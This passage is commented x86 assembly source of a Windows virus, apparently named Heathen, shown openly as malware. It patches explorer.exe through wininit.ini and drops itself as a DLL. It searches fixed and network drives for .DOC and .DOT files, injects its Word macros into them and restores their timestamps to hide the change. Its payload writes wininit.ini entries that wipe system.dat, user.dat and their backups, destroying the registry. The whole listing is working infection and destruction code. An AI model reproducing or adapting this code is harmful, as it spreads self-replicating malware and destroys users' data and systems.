eax test edi, edi jnz error4 ; error push 0 ; NULL = dont return actual number of bytes written lea edx, [ebp+Buffer] push [ebp+MacrosSize] ; number of bytes to write push edx mov ecx, [ebp+IStream1] push ecx mov eax, [ecx] call [eax+IStream_Interface.Write] ; IStream:Write mov edx, [ebp+IStream1] push edx mov ecx, [edx] call [ecx+IStream_Interface.Release] ; close stream mov eax, offset aMacros ; name of element to move add eax, ebx push 1 ; STGMOVE_COPY (dont move, only copy) push eax push [ebp+IStorage2] ; destination storage object (heathen.vdo) push eax mov edx, [ebp+IStorage1] ; source IStorage Interface (htmp.doc) push edx mov ecx, [edx] call [ecx+IStorage_Interface.MoveElementTo] ; move macros mov edi, eax test edi, edi jnz short error4 push 0 ; NULL push 20h ; FILE_ATTRIBUTE_ARCHIVE push 2 ; CREATE_ALWAYS push 0 ; NULL = handle cannot be inherited push 0 ; 0 = prevent file from being shared lea eax, [ebp+WINDOWS_HeatheVDL] ; "c:windowsheathen.vdl" push 40000000h ; GENERIC_WRITE push eax call [ebp+APIs.CreateFileA] ; create DLL file (that will be called from Explorer patch code) mov [ebp+FileHandle], eax cmp [ebp+FileHandle], 0FFFFFFFFh jz short error4 ; file creation error push 0 ; NULL lea edx, [ebp+writtenbytes] push edx push 3000h ; number of bytes to write push [ebp+HEATHEN_BASE] ; buffer for write push [ebp+FileHandle] ; file handle call [ebp+APIs.WriteFile] ; write virus as a DLL file :-D mov edi, eax push [ebp+FileHandle] call [ebp+APIs.CloseHandle] ; close file test edi, edi jz short error4 ; error push 0 ; overwrite Heathen.vex if already present lea eax, [ebp+WINDOWS_HeathenVEX] push eax lea edx, [ebp+WINDOWS_ExplorerEXE] push edx call [ebp+APIs.CopyFileA] ; copy file: c:windowsexplorer.exe --> c:windowsheathen.vex mov esi, eax ; ESI = 0 means errors error4: mov eax, [ebp+IStorage2] push eax mov edx, [eax] call [edx+IStorage_Interface.Release] ; close IStorage2 (heathen.vdo) error3: mov ecx, [ebp+IStorage1] push ecx mov eax, [ecx] call [eax+IStorage_Interface.Release] ; close IStorage1 (htmp.doc) error2: lea edx, [ebp+WINDOWS_HtmpDOC] push edx call [ebp+APIs.DeleteFileA] ; delete temporary file c:windowsHtmp.doc error1: test esi, esi ; errors? jz short error0 ; yes :-( push [ebp+Patch_code] ; Offset of code to be inserted in Explorer.exe mov ecx, offset aKernel32_dll mov eax, offset aLoadLibraryA add ecx, ebx add eax, ebx push ecx ; "KERNEL32.DLL" push eax ; "LoadLibraryA" lea edx, [ebp+WINDOWS_HeathenVEX] lea ecx, [ebp+APIs] ; API addresses push edx push ecx call PatchEXPLORER ; patch c:windowsHeathen.vex add esp, 14h test eax, eax jz short error0 ; error patching file push ebx ; EBX = delta lea eax, [ebp+WINDOWS_HeathenVEX] push eax lea edx, [ebp+WINDOWS_ExplorerEXE] push edx lea ecx, [ebp+WINDOWS_WininitINI] push ecx lea eax, [ebp+APIs] ; API addresses push eax call CreateWININIT ; create c:windowswininit.ini file to replace explorer.exe add esp, 14h error0: pop edi pop esi pop ebx mov esp, ebp pop ebp retn 1Ch InstallVIRUS endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame alloc_memory proc near Size= dword ptr 8 push ebp mov ebp, esp mov eax, ds:MemoryAllocator push [ebp+Size] ; size of memory to allocate push eax mov edx, [eax] call [edx+IMalloc_Interface.PreAlloc] ; allocate memory pop ebp retn alloc_memory endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame free_memory proc near Buffer= dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+Buffer] test eax, eax jz short free_memory0 push eax mov eax, ds:MemoryAllocator push eax mov edx, [eax] call [edx+IMalloc_Interface.PreFree] ; free memory free_memory0: pop ebp retn free_memory endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame AddDirectorytoList proc near laststruct= dword ptr -4 DirectoryList= dword ptr 8 NewDirectory= dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+NewDirectory] ; name of new Directory to insert on list mov ebx, [ebp+DirectoryList] ; EBX = pointer to structure corresponding to last directory in list mov eax, [ebx] ; get next directory structure mov [ebp+laststruct], eax ; next Directory structure push 8 call alloc_memory ; get memory for new Directory structure pop ecx mov esi, eax mov [ebx], esi ; save it, so this new structure will be first in chain test esi, esi jnz short AddDirectory xor eax, eax jmp short error50 ; error allocating memory ; --------------------------------------------------------------------------- AddDirectory: push edi call API_lstrlenA ; get size of directory name inc eax push eax call alloc_memory ; reserve memory for that Directory name mov esi, eax mov eax, [ebx] pop ecx test esi, esi mov [eax+DirectorySTRUC.DirectoryName], esi ; save in first field of structure the name of the directory jnz short AddDirectory2 xor eax, eax jmp short error50 ; error allocating memory ; --------------------------------------------------------------------------- AddDirectory2: push edi push esi call API_lstrcpyA ; copy directory name to reserved memory mov edx, [ebx] mov ecx, [ebp+laststruct] mov [edx+DirectorySTRUC.NextDirectorySTRUC], ecx ; save next directory structure in second field of actual structure mov eax, 1 error50: pop edi pop esi pop ebx pop ecx pop ebp retn AddDirectorytoList endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame DeleteDirectoryfromList proc near NextDirectorySTRUC= dword ptr 8 DirectoryName= dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+NextDirectorySTRUC] ; EBX = pointer to Directory structure mov eax, [ebx] ; EAX = Directory structure mov esi, [eax+DirectorySTRUC.NextDirectorySTRUC] ; ESI = next directory structure push [eax+DirectorySTRUC.DirectoryName] ; name of the directory (in this directory structure) push [ebp+DirectoryName] ; pointer to argument DirectoryName (to return name of directory) call API_lstrcpyA ; copy directory name to argument DirectoryName mov eax, [ebx] push [eax+DirectorySTRUC.DirectoryName] call free_memory ; free memory that contains the name of the directory pop ecx push dword ptr [ebx] call free_memory ; free memory of this directory structure pop ecx mov [ebx], esi ; update DirectoryList pop esi pop ebx pop ebp retn DeleteDirectoryfromList endp ; --------------- S U B R O U T I N E --------------------------------------- ; called from WndProc PAYLOAD proc near BytesWritten= byte ptr -518h WINDOWS_WININIT= byte ptr -514h STRING_TEXT= byte ptr -3E8h push ebx add esp, 0FFFFFAE8h push offset WindowsDirectory lea eax, [esp+51Ch+WINDOWS_WININIT] push eax call API_lstrcpyA push offset aWininit_ini lea edx, [esp+51Ch+WINDOWS_WININIT] push edx call API_lstrcatA ; "c:windowswininit.ini" push 0 ; NULL push 20h ; FILE_ATTRIBUTE_ARCHIVE push 2 ; CREATE_ALWAYS push 0 ; NULL = file handle cannot be inherited push 0 ; 0 = prevent file from being shared push 40000000h ; GENERIC_WRITE lea ecx, [esp+530h+WINDOWS_WININIT] push ecx call API_CreateFileA ; create file mov ebx, eax push offset WindowsDirectory push offset WindowsDirectory push offset WindowsDirectory push offset WindowsDirectory push offset aRename push offset aRename2 lea eax, [esp+530h+STRING_TEXT] push eax call API_wsprintfA ; generate following text... ; [rename] ; nul=c:windowssystem.dat ; nul=c:windowsuser.dat ; nul=c:windowssystem.da0 ; nul=c:windowsuser.da0 ; add esp, 1Ch push 0 ; NULL lea edx, [esp+51Ch+BytesWritten] push edx ; pointer to store number of bytes actually written to file lea ecx, [esp+520h+STRING_TEXT] push ecx call API_lstrlenA ; get size of the string push eax ; number of bytes to write lea eax, [esp+524h+STRING_TEXT] push eax ; text push ebx ; file handle call API_WriteFile ; write to wininit.ini push ebx call API_CloseHandle ; close file handle add esp, 518h pop ebx retn PAYLOAD endp ; --------------- S U B R O U T I N E --------------------------------------- InitVariables proc near IStorage1= byte ptr -1A4h FilePointer= qword ptr -1A0h WINDOWS_HeathenVDO= byte ptr -198h StatSTG= dword ptr -6Ch IStorageTime= word ptr -24h SystemTime= word ptr -14h push ebx add esp, 0FFFFFE60h xor ebx, ebx push 12Ch push offset WindowsDirectory call API_GetWindowsDirectoryA ; get windows directory push offset WindowsDirectory lea eax, [esp+1A8h+WINDOWS_HeathenVDO] push eax call API_lstrcpyA push offset aHeathen_vdo lea edx, [esp+1A8h+WINDOWS_HeathenVDO] push edx call API_lstrcatA ; "c:windowsHeathen.vdo" push offset UNICODE_HeathenVDO lea ecx, [esp+1A8h+WINDOWS_HeathenVDO] push ecx call asciiz_to_unicode ; convert it to unicode (for use by OLE functions) add esp, 8 push esp ; &IStorage1 push 0 ; zero (reserved) push 0 ; NULL push 10h ; STGM_READ + STGM_SHARE_EXCLUSIVE push 0 ; NULL push offset UNICODE_HeathenVDO call API_StgOpenStorage ; open Storage heathen.vdo test eax, eax jnz error20 push offset ILockBytes ; where ILockBytes interface is returned push 1 ; TRUE = free handle when object is released push 0 ; NULL = allocate a new shared memory block of size zero call API_CreateILockBytesOnHGlobal ; create a byte array object that allows to use global memory as the physical device (instead of disk file) test eax, eax jnz error21 push offset IStorage ; &IStorage push 0 ; NULL push 1012h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_READWRITE push ds:ILockBytes ; ILockBytes interface on the byte array object call API_StgCreateDocfileOnILockBytes ; creates a new COM file storage object on top of the byte array object test eax, eax jnz error21 push ds:IStorage ; destination IStorage (on memory) push 0 ; NULL push 0 ; NULL=all objects to be copied push 0 ; NULL mov eax, dword ptr [esp+1B4h+IStorage1] push eax ; source IStorage (heathen.vdo) mov edx, [eax] call [edx+IStorage_Interface.CopyTo] ; copy all its contents test eax, eax jnz short error21 push offset IStream ; &IStream push 0 ; zero (reserved) push 10h ; STGM_SHARE_EXCLUSIVE push 0 ; zero (reserved) push offset aWorddocument ; WordDocument stream (where virus macros were stored) mov ecx, ds:IStorage push ecx mov eax, [ecx] call [eax+IStorage_Interface.OpenStream] ; open that stream test eax, eax jnz short error21 mov dword ptr [esp+1A4h+FilePointer], 0 mov dword ptr [esp+1A4h+FilePointer+4], 0 push offset HeathenMacrosSize ; here will be stored size of WordDocument stream, that contains virus macros!!! push 2 ; STREAM_SEEK_END push dword ptr [esp+1ACh+FilePointer+4] push dword ptr [esp+1B0h+FilePointer] mov ecx, ds:IStream push ecx mov eax, [ecx] call [eax+IStream_Interface.Seek] ; seek at end of stream = size of stream push 0 ; NULL (dont return new position) push 0 ; STREAM_SEEK_SET push dword ptr [esp+1ACh+FilePointer+4] push dword ptr [esp+1B0h+FilePointer] mov ecx, ds:IStream push ecx mov eax, [ecx] call [eax+IStream_Interface.Seek] ; seek at start of stream mov ebx, 1 ; ok, no errors :) error21: push 1 ; STATFLAG_NONAME lea eax, [esp+1A8h+StatSTG] push eax ; &StatSTG mov edx, dword ptr [esp+1ACh+IStorage1] ; heathen.vdo storage push edx mov ecx, [edx] call [ecx+IStorage_Interface.Stat] ; get stat structure of the IStorage lea eax, [esp+1A4h+IStorageTime] ; variable to store IStorage modification time (converted to SystemTime) push eax lea edx, [esp+1A8h+StatSTG+10h] ; mtime = modification time push edx call API_FileTimeToSystemTime ; converts a 64-bit file time to system time format lea ecx, [esp+1A4h+SystemTime] ; &SystemTime push ecx call API_GetSystemTime ; get system time movzx eax, [esp+1A4h+SystemTime+6] ; System day movzx edx, [esp+1A4h+IStorageTime+6] ; IStorage day sub eax, edx ; day difference movzx edx, [esp+1A4h+IStorageTime+2] ; IStorage month movzx ecx, [esp+1A4h+SystemTime+2] ; System month sub ecx, edx ; month difference imul ecx, 1Eh ; * 30 days/month add eax, ecx ; add days movzx ecx, [esp+1A4h+IStorageTime] ; IStorage year movzx edx, [esp+1A4h+SystemTime] ; System year sub edx, ecx ; year difference imul edx, 16Dh ; * 365 days/year add eax, edx ; add days cmp eax, 183 ; 183 days (or more) since installation? (half a year) setnl al and eax, 1 ; EAX=1--> yes! :-D cmp [esp+1A4h+SystemTime+6], 0Eh ; day 14? mov ds:MoreThanHalfYear, eax jnz short not_may14th ; no cmp [esp+1A4h+SystemTime+2], 5 ; month = May? jz short month14th ; yes not_may14th: xor ecx, ecx jmp short is_may14th ; --------------------------------------------------------------------------- month14th: mov ecx, 1 is_may14th: mov ds:may14h, ecx ; indicate if we are on may 14th mov eax, dword ptr [esp+1A4h+IStorage1] push eax mov edx, [eax] call [edx+IStorage_Interface.Release] ; close IStorage error20: mov eax, ebx add esp, 1A0h pop ebx retn InitVariables endp ; --------------- S U B R O U T I N E --------------------------------------- InitDirectoryList proc near IStream1= dword ptr -1Ch Zero_Offset= qword ptr -18h ScanDataSize= byte ptr -10h push ebx push esi add esp, 0FFFFFFECh xor eax, eax mov ds:Drive, eax ; empty DirectoryList xor edx, edx mov ds:DirectoryList.NextDirectorySTRUC, edx mov ds:DirectoryList.DirectoryName, edx push esp ; &IStream1 push 0 ; zero (reserved) push 10h ; STGM_SHARE_EXCLUSIVE push 0 ; zero (reserved) push offset aScandata ; name of stream "ScanData" mov eax, ds:IStorage ; (IStorage based on ILockBytes interface) push eax mov ecx, [eax] call [ecx+IStorage_Interface.OpenStream] ; open stream ScanData test eax, eax jnz error40 ; error mov dword ptr [esp+1Ch+Zero_Offset], 0 ; offset from end of stream = 0 mov dword ptr [esp+1Ch+Zero_Offset+4], 0 lea eax, [esp+1Ch+ScanDataSize] push eax push 2 ; STREAM_SEEK_END push dword ptr [esp+24h+Zero_Offset+4] push dword ptr [esp+28h+Zero_Offset] mov ecx, [esp+2Ch+IStream1] push ecx mov eax, [ecx] call [eax+IStream_Interface.Seek] ; seek to end of stream to calculate its size push 0 ; NULL (dont return new position) push 0 ; STREAM_SEEK_SET push dword ptr [esp+24h+Zero_Offset+4] push dword ptr [esp+28h+Zero_Offset] mov ecx, [esp+2Ch+IStream1] push ecx mov eax, [ecx] call [eax+IStream_Interface.Seek] ; go to start of stream push dword ptr [esp+1Ch+ScanDataSize] ; size of actual ScanData call alloc_memory ; reserve memory for those structures pop ecx mov esi, eax test esi, esi jz short error41 ; error allocating memory push 0 push dword ptr [esp+20h+ScanDataSize] ; size of ScanData push esi ; buffer mov eax, [esp+28h+IStream1] push eax mov edx, [eax] call [edx+IStream_Interface.Read] ; read SCanData mov ecx, [esi] ; get disk drive od Directory where it was stopped mov ds:Drive, ecx ; save it to continue in that Directory lea ebx, [esi+4] jmp short CreateList ; --------------------------------------------------------------------------- CreateList2: push ebx ; offset of directory name push offset DirectoryList ; directory list call AddDirectorytoList ; add this directory to DirectoryList add esp, 8 test eax, eax jz short error42 ; exit on error push ebx call API_lstrlenA ; get size of directory name inc eax add ebx, eax ; point to next directory CreateList: cmp dword ptr [ebx], 0FFFFFFFFh ; end of Directories? jnz short CreateList2 ; not yet error42: push esi call free_memory ; free memory of ScanData, although DirectoryList structures remain in memory to work with them pop ecx error41: mov eax, [esp+1Ch+IStream1] push eax mov edx, [eax] call [edx+IStream_Interface.Release] ; close stream error40: add esp, 14h pop esi pop ebx retn InitDirectoryList endp ; --------------- S U B R O U T I N E --------------------------------------- UpdateScanData proc near IStorage= dword ptr -13Ch IStream_ScanData= dword ptr -138h EndMark= byte ptr -134h DirectoryName= byte ptr -130h push ebx add esp, 0FFFFFEC8h push esp ; &IStorage (esp+13Ch+IStorage) push 0 ; zero (reserved) push 0 ; NULL push 11h ; STGM_WRITE + STGM_SHARE_EXCLUSIVE push 0 ; NULL push offset UNICODE_HeathenVDO call API_StgOpenStorage ; open Storage heathen.vdo mov ebx, eax ; EBX = 0 if no errors test ebx, ebx jnz error60 lea eax, [esp+13Ch+IStream_ScanData] ; &Istream_ScanData push eax push 0 ; zero (reserved) push 0 ; zero (reserved) push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE push offset aScandata ; name of stream mov edx, [esp+150h+IStorage] push edx mov ecx, [edx] call [ecx+IStorage_Interface.CreateStream] ; open SCanData stream mov ebx, eax test ebx, ebx jnz short error62 mov dword ptr [esp+13Ch+EndMark], 0FFFFFFFFh ; indicate "end of directories" push 0 ; NULL = not interested in number of bytes actually written to stream push 4 ; number of bytes to write to stream push offset Drive ; drive unit that we are currently scanning mov eax, [esp+148h+IStream_ScanData] push eax mov edx, [eax] call [edx+IStream_Interface.Write] ; IStream:Write or ebx, eax ; if errors, EBX will be different of zero jmp short check_more_directories ; --------------------------------------------------------------------------- get_more_directories: lea ecx, [esp+13Ch+DirectoryName] push ecx push offset DirectoryList call DeleteDirectoryfromList ; get next directory from list (and free it from list) add esp, 8 push 0 ; NULL = not interested in number of bytes actually written to stream lea eax, [esp+140h+DirectoryName] push eax call API_lstrlenA inc eax ; one byte more, to include be an ASCIIZ string push eax ; number of bytes to write to stream lea edx, [esp+144h+DirectoryName] ; name of directory push edx mov ecx, [esp+148h+IStream_ScanData] push ecx mov eax, [ecx] call [eax+IStream_Interface.Write] ; write directory name to stream or ebx, eax check_more_directories: cmp ds:DirectoryList.DirectoryName, 0 ; more directories in List? jnz short get_more_directories ; yeah! go for them! push 0 ; NULL = not interested in number of bytes actually written to stream push 4 ; number of bytes to write to stream lea edx, [esp+144h+EndMark] ; offset of 0xFFFFFFFF to be written at end of directories push edx mov ecx, [esp+148h+IStream_ScanData] push ecx mov eax, [ecx] call [eax+IStream_Interface.Write] ; write mark or ebx, eax mov edx, [esp+13Ch+IStream_ScanData] ; IStream push edx mov ecx, [edx] call [ecx+IStream_Interface.Release] ; close stream error62: test ebx, ebx jz short error61 ; jump if no errors! mov eax, [esp+13Ch+IStorage] push eax mov edx, [eax] call [edx+IStorage_Interface.Revert] ; discard all changes!!! error61: mov ecx, [esp+13Ch+IStorage] push ecx mov eax, [ecx] call [eax+IStorage_Interface.Release] ; close IStorage error60: add esp, 138h pop ebx retn UpdateScanData endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame InfectDocument proc near Buffer= byte ptr -4BCh STATG= STATG_STRUC ptr -2BCh UNICODE_FILENAME= byte ptr -274h MacrosOffset= dword ptr -1Ch SeekOffset= qword ptr -14h IStream2= dword ptr -0Ch IStream1= dword ptr -8 IStorage1= dword ptr -4 ASCIIZ_FILENAME= dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFB44h cmp ds:may14h, 0 ; may 14th? push ebx push esi mov ebx, [ebp+ASCIIZ_FILENAME] jz short Infect_This_File ; jump if not may 14th xor ecx, ecx xor eax, eax jmp short check_directory_name ; --------------------------------------------------------------------------- next_character: movsx edx, dl cmp edx, '' jnz short next_character2 lea ecx, [eax+1] ; ECX = offset after "" (offset of name of subdirectory or file) next_character2: inc eax ; next byte check_directory_name: mov dl, [ebx+eax] test dl, dl jnz short next_character ; search to end of directory name movsx eax, byte ptr [ebx+ecx] ; get first character of subdirectory name cmp eax, '_' jz short Infect_This_File ; on mat 14th... only infects files starting with "_" !!! xor eax, eax jmp error70 ; --------------------------------------------------------------------------- Infect_This_File: xor esi, esi ; ESI = 0 means infection not successful lea eax, [ebp+UNICODE_FILENAME] push eax push ebx call asciiz_to_unicode ; convert it to unicode string add esp, 8 lea edx, [ebp+IStorage1] ; &IStorage push edx push 0 ; zero (reserved) push 0 ; NULL push 12h ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE push 0 ; NULL lea ecx, [ebp+UNICODE_FILENAME] push ecx call API_StgOpenStorage ; open document test eax, eax jnz error71 ; exit on error push 1 lea eax, [ebp+STATG] ; where STATG structured will be returned push eax mov edx, [ebp+IStorage1] ; IStorage of the document push edx mov ecx, [edx] call [ecx+IStorage_Interface.Stat] ; get STATG structure for this storage object lea eax, [ebp+IStream1] ; &IStream1 push eax push 0 ; zero (reserved) push 12h ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE push 0 ; zero (reserved) push offset aWorddocument ; name of stream "WordDocument" mov edx, [ebp+IStorage1] push edx mov ecx, [edx] call [ecx+IStorage_Interface.OpenStream] ; open stream test eax, eax jnz error72 push 0 ; NULL = not interested in number of bytes actually read from stream lea eax, [ebp+Buffer] push 200h ; number of bytes to read push eax ; buffer mov edx, [ebp+IStream1] ; IStream push edx mov ecx, [edx] call [ecx+IStream_Interface.Read] ; read WordDocument header cmp dword ptr [ebp+Buffer+15Eh], 3 jge error73 ; exit if it already has macros mov ax, 31h ; select 1Table test [ebp+Buffer+0Bh], 2 ; 0Table or 1Table? jnz short select_1Table dec eax ; select 0Table select_1Table: mov word ptr ds:xTable, ax lea edx, [ebp+IStream2] ; &IStream2 push edx push 0 ; zero (reserved) push 11h ; STGM_WRITE + STGM_SHARE_EXCLUSIVE push 0 ; zero (reserved) push offset xTable ; name of stream: "0Table" or "1Table" mov ecx, [ebp+IStorage1] push ecx mov eax, [ecx] call [eax+IStorage_Interface.OpenStream] ; open stream test eax, eax jnz error73 push 1 ; STGMOVE_COPY (we want a copy!) push offset aMacros ; name of element in destination push [ebp+IStorage1] ; destination IStorage object (the document to be infected!) push offset aMacros ; name of element to be moved mov edx, ds:IStorage ; source IStorage (Heathen.vdo) push edx mov ecx, [edx] call [ecx+IStorage_Interface.MoveElementTo] ; copy macros! test eax, eax jnz error74 ; exit on error mov dword ptr [ebp+SeekOffset], 0 mov dword ptr [ebp+SeekOffset+4], 0 lea eax, [ebp+MacrosOffset] ; here will be returned end of xTable, where virus will copy its macros push eax push 2 ; STREAM_SEEK_END push dword ptr [ebp+SeekOffset+4] push dword ptr [ebp+SeekOffset] mov ecx, [ebp+IStream2] push ecx mov eax, [ecx] call [eax+IStream_Interface.Seek] ; seek to end of stream xTable push 0 push 0 push dword ptr ds:HeathenMacrosSize+4 push dword ptr ds:HeathenMacrosSize ; size of virus macros (that were stored in WordDocument stream of Heathen.vdo) push [ebp+IStream2] ; destination Stream (xTable stream of document to be infected!) mov ecx, ds:IStream ; source stream (WordDocument of Heathen.vdo, where virus macros are stored!!!)) push ecx mov eax, [ecx] call [eax+IStream_Interface.CopyTo] ; copy virus macros at end of xTable test eax, eax jnz short error75 mov edx, [ebp+MacrosOffset] ; EDX = offset of macros in xTable mov ecx, dword ptr ds:HeathenMacrosSize ; ECX = size of macros mov dword ptr [ebp+Buffer+15Ah], edx ; fcCmds = offset in xTable stream of macros mov dword ptr [ebp+Buffer+15Eh], ecx ; lcbCmds = size of macros push 0 ; NULL (dont return new position) push 0 ; STREAM_SEEK_SET push dword ptr [ebp+SeekOffset+4] ; NULL push dword ptr [ebp+SeekOffset] ; NULL mov edx, [ebp+IStream1] push edx mov ecx, [edx] call [ecx+IStream_Interface.Seek] ; set stream pointer to beginning of WordDocument push 0 lea eax, [ebp+Buffer] push 200h ; size of Header push eax mov edx, [ebp+IStream1] push edx mov ecx, [edx] call [ecx+IStream_Interface.Write] ; write WordDocument Header mov esi, 1 error75: push 0 ; NULL (dont return new position) push 0 ; STREAM_SEEK_SET push dword ptr [ebp+SeekOffset+4] push dword ptr [ebp+SeekOffset] mov edx, ds:IStream push edx mov ecx, [edx] call [ecx+IStream_Interface.Seek] ; set stream pointer to beggining of WordDocument stream in Heathen.vdo error74: mov eax, [ebp+IStream2] push eax mov edx, [eax] call [edx+IStream_Interface.Release] ; close stream xTable error73: mov ecx, [ebp+IStream1] push ecx mov eax, [ecx] call [eax+IStream_Interface.Release] ; close stream WordDocument (of infected document) error72: mov edx, [ebp+IStorage1] push edx mov ecx, [edx] call [ecx+IStorage_Interface.Release] ; close IStorage object (infected document) test esi, esi jz short error71 ; exit if infection was not successful push 0 ; NULL push 0 ; NULL push 3 ; CREATE_ALWAYS push 0 ; NULL = file cannot be inherited push 0 ; 0 = prevent file from being shared push 40000000h ; GENERIC_WRITE push ebx call API_CreateFileA ; open document file mov ebx, eax lea eax, [ebp+STATG.mtime] push eax lea edx, [ebp+STATG.atime] push edx lea ecx, [ebp+STATG.ctime] push ecx push ebx call API_SetFileTime ; restore filetime push ebx call API_CloseHandle ; close file handle error71: mov eax, esi error70: pop esi pop ebx mov esp, ebp pop ebp retn InfectDocument endp ; --------------- S U B R O U T I N E --------------------------------------- SearchDirectories proc near RootPathName= byte ptr -724h DocumentName= byte ptr -71Ch DirectoryName= byte ptr -5F0h File_Search_Pattern= byte ptr -4C4h WIN32_FIND_DATA= WIN32_FIND_DATA_STRUC ptr -398h SubdirectoryName= byte ptr -258h FileName= byte ptr -12Ch push ebx push esi add esp, 0FFFFF8DCh cmp ds:DirectoryList.NextDirectorySTRUC, 0 ; end of directories? lea esi, [esp+724h+WIN32_FIND_DATA] ; ESI = WIN32_FIND_DATA jz short directories_end ; yes, no more directories lea eax, [esp+724h+DocumentName] push eax push offset DirectoryList.NextDirectorySTRUC ; next directory call DeleteDirectoryfromList ; get next document to infect and free it from List add esp, 8 lea edx, [esp+724h+DocumentName] push edx call InfectDocument ; infect document (unless its a directory name) pop ecx mov eax, 1 jmp error80 ; --------------------------------------------------------------------------- directories_end: cmp ds:DirectoryList.DirectoryName, 0 ; finished all directories of current drive in ScanData list? jnz short Search_Documents ; not yet call API_GetLogicalDrives ; get info on logical drives (bits in EAX set to one) invalid_drive: inc ds:Drive ; next drive cmp ds:Drive, 1Ah ; 'Z'? jle short CheckDrive xor edx, edx mov ds:Drive, edx ; scan again all drives! CheckDrive: cmp ds:Drive, 2 ; (2 = C:) jl short invalid_drive ; drives A: and B: will not be infected! mov ecx, ds:Drive mov edx, 1 shl edx, cl test edx, eax jz short invalid_drive ; drive not present! push offset aRoot lea eax, [esp+728h+RootPathName] push eax call API_lstrcpyA ; "A:" mov cl, byte ptr ds:Drive add [esp+724h+RootPathName], cl ; set drive letter push esp ; &RootPathName call API_GetDriveTypeA ; get info on logical drive test eax, eax ; DRIVE_UNKNOWN jz short Add_Drive_Path cmp eax, 3 ; DRIVE_FIXED jz short Add_Drive_Path cmp eax, 4 ; DRIVE_REMOTE jnz short Continue_Later ; exit with error free (will continue later!) Add_Drive_Path: push esp ; &RootPathName push offset DirectoryList call AddDirectorytoList ; add root directory to List add esp, 8 jmp error80 ; --------------------------------------------------------------------------- Continue_Later: mov eax, 1 ; EAX != 0 --> no errors jmp error80 ; --------------------------------------------------------------------------- Search_Documents: lea edx, [esp+724h+DirectoryName] push edx push offset DirectoryList call DeleteDirectoryfromList ; get a directory from list to search files (and free it from list) add esp, 8 lea ecx, [esp+724h+DirectoryName] ; path to search files push ecx push offset aSearchPattern lea eax, [esp+72Ch+File_Search_Pattern] push eax call API_wsprintfA ; "drive:directory*.*" add esp, 0Ch push esi ; ESI = WIN32_FIND_DATA lea edx, [esp+728h+File_Search_Pattern] push edx call API_FindFirstFileA ; find files! mov ebx, eax cmp ebx, 0FFFFFFFFh jz error81 ; error Check_File: test byte ptr [esi+WIN32_FIND_DATA_STRUC.dwFileAttributes], 10h ; FILE_ATTRIBUTE_DIRECTORY? jz short File_Found push offset a__ lea eax, [esi+WIN32_FIND_DATA_STRUC.cFileName] push eax call API_lstrcmpA test eax, eax jz short File_Found ; jump if ".." push offset a_ lea edx, [esi+WIN32_FIND_DATA_STRUC.cFileName] push edx call API_lstrcmpA test eax, eax jz short File_Found ; jump if "." lea ecx, [esi+WIN32_FIND_DATA_STRUC.cFileName] push ecx ; name of found subdirectory lea eax, [esp+728h+DirectoryName] push eax push offset aSS1 ; "%s%s" lea edx, [esp+730h+SubdirectoryName] push edx call API_wsprintfA ; "drive:directorysubdirectory" add esp, 10h lea ecx, [esp+724h+SubdirectoryName] push ecx push offset DirectoryList call AddDirectorytoList ; add it to List add esp, 8 test eax, eax jnz short Search_More_Files ; search more files xor eax, eax ; error jmp error80 ; --------------------------------------------------------------------------- jmp short Search_More_Files ; --------------------------------------------------------------------------- File_Found: lea edx, [esi+WIN32_FIND_DATA_STRUC.cFileName] push edx call UpperCase ; convert all letters to uppercase pop ecx xor eax, eax ; EAX = index in filename jmp short Check_File2 ; --------------------------------------------------------------------------- search_end_of_filename: inc eax Check_File2: cmp [esi+eax+WIN32_FIND_DATA_STRUC.cFileName], 0 jnz short search_end_of_filename ; get to end of filename lea edx, [esi+WIN32_FIND_DATA_STRUC.dwReserved1] add eax, edx ; EAX = pointer to 4 bytes before end of filename mov edx, [eax] cmp edx, 434F442Eh ; ".DOC" jz short Target_Extensions cmp edx, 544F442Eh ; ".DOT" jnz short Search_More_Files Target_Extensions: lea eax, [esi+WIN32_FIND_DATA_STRUC.cFileName] push eax lea ecx, [esp+728h+DirectoryName] push ecx push offset aSS2 lea eax, [esp+730h+FileName] push eax call API_wsprintfA ; "drive:directorydocument" add esp, 10h lea edx, [esp+724h+FileName] push edx push offset DirectoryList.NextDirectorySTRUC call AddDirectorytoList ; add document to List add esp, 8 test eax, eax jnz short Search_More_Files xor eax, eax ; error jmp short error80 ; --------------------------------------------------------------------------- Search_More_Files: push esi push ebx call API_FindNextFileA ; search more files/subdirectories test eax, eax jnz Check_File ; check this file push ebx call API_FindClose ; close search handle error81: mov eax, 1 ; means error free :-) error80: add esp, 724h ; (EAX = 0 --> some error occured) pop esi pop ebx retn SearchDirectories endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame THREAD2_EntryPoint proc near push ebp mov ebp, esp continue_search: call SearchDirectories test eax, eax jz short error30 ; EAX=0 means that some error occured push 3E8h ; timeout interval=1000 miliseconds = 1 second push ds:EventHandle call API_WaitForSingleObject ; wait for the event to be signaled cmp eax, 102h ; WAIT_TIMEOUT? jz short continue_search ; in case of timeout, repeat process. Else finish thread. error30: xor eax, eax pop ebp retn 4 ; exit thread THREAD2_EntryPoint endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame WndProc proc near HWND= dword ptr 8 UINT= dword ptr 0Ch WPARAM= dword ptr 10h LPARAM= dword ptr 14h push ebp mov ebp, esp mov edx, [ebp+WPARAM] ; wparam mov eax, [ebp+UINT] ; message identifier mov ecx, eax sub ecx, 16h ; WM_ENDSESSION informs the application whether the Windows session is ending) jnz short calldefaultWndProc ; go to default WndProc, unless WM_ENDSESSION is received test edx, edx jz short messageprocessed ; wparam=FALSE=session is NOT being ended push ds:EventHandle call API_SetEvent ; set state of event object as signaled, so API WaitSingleObject returns! 